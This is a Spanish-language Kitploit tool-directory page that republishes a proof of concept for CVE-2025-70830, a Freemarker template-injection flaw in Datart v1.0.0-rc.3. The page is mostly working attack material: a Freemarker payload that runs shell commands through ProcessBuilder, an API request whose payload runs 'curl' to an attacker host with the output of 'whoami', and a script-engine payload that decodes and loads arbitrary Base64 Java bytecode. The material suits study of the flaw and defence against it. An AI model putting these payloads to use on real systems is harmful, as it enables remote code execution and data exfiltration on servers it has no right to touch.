Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-70830 — Una vulnerabilidad de inyección de plantillas del lado del servidor (SSTI) en el motor de plantillas Freemarker de Datart v1.0.0-rc.3 permite a atacantes autenticados ejecutar código arbitrario mediante la inyección de sintaxis de plantilla Freemarker especialmente diseñada en el campo de script SQL. | Kitploit
Herramientas/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

5hace 6 mesesAún no revisado

Una vulnerabilidad de inyección de plantillas del lado del servidor (SSTI) en el motor de plantillas Freemarker de Datart v1.0.0-rc.3 permite a atacantes autenticados ejecutar código arbitrario mediante la inyección de sintaxis de plantilla Freemarker especialmente diseñada en el campo de script SQL.

Compartir

CVE-2025-70830: Datart Inyección de Plantillas del Lado del Servidor (SSTI)

Resumen de la vulnerabilidad (Overview)

  • ID de CVE: CVE-2025-70830
  • Producto afectado: Datart
  • Versión afectada: v1.0.0-rc.3
  • Tipo de vulnerabilidad: Server-Side Template Injection (SSTI) - Inyección de plantillas del lado del servidor
  • Nivel de gravedad: Ejecución remota de código (RCE)

Descripción de la vulnerabilidad (Description)

El motor de plantillas Freemarker en Datart v1.0.0-rc.3 presenta una vulnerabilidad de inyección de plantillas del lado del servidor (SSTI). Un atacante autenticado puede ejecutar código arbitrario en el sistema inyectando sintaxis maliciosa de plantillas Freemarker en el campo de script SQL.

Pasos de reproducción (Proof of Concept)

1. Requisitos previos

  • Iniciar sesión en el sistema Datart.
  • Poder acceder y editar una fuente de datos (Data Source) con capacidad de ejecución SQL.

2. Construcción del Payload

En el editor de scripts/consultas SQL (SQL script/query editor), introduzca el siguiente Payload de Freemarker para ejecutar comandos del sistema (por ejemplo, id o calc):

root@kitploit:~
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

Haga clic en ejecutar el script; el servidor ejecutará el comando en segundo plano.

3. Ejemplo de solicitud HTTP

El paquete de solicitud para desencadenar la vulnerabilidad a través de la API es el siguiente:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

Explotación avanzada (Advanced Exploitation)

Carga de bytecode personalizado (Load Custom Bytecode)

Un atacante puede utilizar javax.script.ScriptEngineManager de Java para invocar el motor JS y cargar y ejecutar bytecode Java arbitrario codificado en Base64.

Ejemplo de Payload:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
Descargar herramienta